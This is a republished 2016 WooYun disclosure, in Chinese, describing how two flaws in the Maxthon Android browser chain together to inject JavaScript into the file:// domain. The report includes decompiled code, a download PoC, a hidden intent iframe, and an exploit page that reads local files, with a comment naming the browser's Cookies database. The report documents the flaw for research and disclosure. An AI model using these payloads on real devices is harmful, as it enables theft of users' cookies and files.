傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

admin 2017年3月28日12:40:10评论463 views字数 221阅读0分44秒阅读模式
摘要

2016-03-22: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-03-25: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2016-187345

漏洞标题: 傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息 傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

相关厂商: 傲游

漏洞作者: Fremy

提交时间: 2016-03-22 18:53

公开时间: 2016-06-20 19:10

漏洞类型: 设计错误/逻辑缺陷

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

6人收藏


漏洞详情

披露状态:

2016-03-22: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-03-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

傲游浏览器两处漏洞组合可以把JS 代码注入到file 域,获取用户敏感信息..

详细说明:

第一处漏洞,浏览器接口没有合理判断可以调用的域,可以利用这个接口下载任意文件

code 区域
代码路径:com/mx/jsobject/JsObjMxBrowser.class

@JavascriptInterface
public void installWebApp(String paramString)
{
String str = t.a(paramString);
p.a(paramString, "/sdcard/webapp/" + str, null);
u.b("/sdcard/webapp/" + str);
d.b().a();
Toast.makeText(this.mContext, "webapp installed", 1).show();
}

接口将会从指定远程URL 中下载ZIP 解压包然后把数据释放到SD 卡中的webapp 中,如果没有插入SD 卡,那就会把文件释放到设备储存中

Download PoC :

code 区域
function install() {
mmbrowser.installWebApp('http://**.**.**.**/test.zip');
};
install();

使用效果

1.运行页面

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

2.webapp 文件夹内的数据

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

第二处漏洞,使用浏览器的intent 协议让窗口打开下载好的文件

code 区域
代码路径:com/mx/browser/MxBrowserActivity.class

if ((paramString.startsWith("intent:")) || (paramString.startsWith("#Intent;")))
{
paramString = com.mx.browser.f.o.a(paramString);
if (paramString == null) {
break label924;
}
try
{
startActivity(paramString);
return true;
}
catch (ActivityNotFoundException paramString)
{
for (;;)
{
paramString.printStackTrace();
}
}
}

...

public static Intent a(String paramString)
{
int k = 0;
int j = 1;
Intent localIntent = null;
int i;
if (paramString.startsWith("intent:")) {
i = 1;
}
for (;;)
{
if (j != 0) {}
try
{
localIntent = Intent.parseUri(paramString, i);
return localIntent;
}
catch (URISyntaxException paramString)
{
paramString.printStackTrace();
}
i = k;
if (!paramString.startsWith("#Intent;"))
{
j = 0;
i = k;
}
}
return null;
}

测试intent PoC :

code 区域
<iframe width="0" height="0" src="intent:http://**.**.**.**/#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>

测试intent PoC 执行效果

未执行intent PoC 之前:

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

执行intent PoC 之后:

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

于是测试一下打开刚才用installapp 接口下载到本地的文件,顺利执行:

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

漏洞证明:

漏洞完整的利用过程如下:

第一步,构造好exploit.html ,让exploit.html 去读那些感兴趣的文件(为了方便测试,就读取文件自身的数据):

code 区域
<html>
<script>
alert(123);

function stealFile(file) {
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){ alert(xmlHttpReq.responseText); } };
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
};
stealFile('file:///storage/sdcard/webapp/test/test.html');//file:///data/data/com.mx.browser/app_webview/Cookies</script>

test
</html>

然后用ZIP 把exploit.html 打包

接下来写payload.html ,这部分主要是让浏览器下载exploit.html 到本地然后执行

code 区域
<html>
<script>
function install() {
mmbrowser.installWebApp('http://**.**.**.**/test.zip');
};
function open_tab_js_in_sdcard() {
document.write('<iframe width="0" height="0" src="intent:file:///storage/sdcard/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>');
};
function open_tab_js_in_device() {
document.write('<iframe width="0" height="0" src="intent:file:///storage/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>');
};
install();
setTimeout(function(){},3000); // 等待要注入的js 代码解压缩之后用浏览器新建标签打开
open_tab_js_in_sdcard();
open_tab_js_in_device();
</script>
</html>

测试URL:http://**.**.**.**/Maxthon_Android_Browser_InjectJSToFile.html

漏洞证明:

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

浏览器版本:

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

因为对android 的目录不太熟悉,所以测试都是在BlueStacks 下测试的.真实的漏洞在手机上测试也存在问题,但是目录没有填对所以没有正确执行.

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

修复方案:

版权声明:转载请注明来源 Fremy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-22 19:08

厂商回复:

非常感谢作者提供的漏洞细节,我们会尽快修复这个漏洞

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-06-06 12:36 | Moonight ( 实习白帽子 | Rank:51 漏洞数:7 | 无线安全攻城狮)

    0

    可惜洞主了,这么好的洞才给5分

  2. 2016-06-20 20:24 | adminss ( 路人 | Rank:24 漏洞数:19 | ▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇...)

    0

    可惜了...

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin